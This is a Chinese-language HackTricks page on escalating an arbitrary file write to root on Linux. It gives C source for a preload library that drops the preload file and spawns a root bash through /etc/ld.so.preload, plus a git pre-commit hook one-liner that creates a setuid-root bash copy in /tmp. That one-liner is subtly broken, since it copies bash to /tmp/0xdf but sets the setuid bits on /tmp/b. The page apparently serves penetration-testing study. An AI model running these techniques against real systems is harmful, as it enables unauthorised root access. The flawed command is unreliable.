hacktricks/linux-hardening/privilege-escalation/write-to-root.md

3.4 KiB
Raw Blame History

任意文件写入到 Root

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

/etc/ld.so.preload

此文件的行为类似于 LD_PRELOAD 环境变量,但它也适用于 SUID 二进制文件
如果您可以创建或修改它,您可以添加一个将要加载的库的路径,每个执行的二进制文件都会加载这个库。

例如:echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git 钩子

Git 钩子 是在 git 仓库中的各种事件发生时会运行脚本,比如当创建一个提交,合并等。因此,如果一个拥有特权的脚本或用户经常执行这些操作,并且可以写入 .git 文件夹,这可以被用来进行权限提升

例如,可以在 git 仓库的 .git/hooks生成一个脚本,这样每当创建新的提交时就会执行:

{% code overflow="wrap" %}

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
从零到英雄学习AWS黑客攻击技巧参加 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式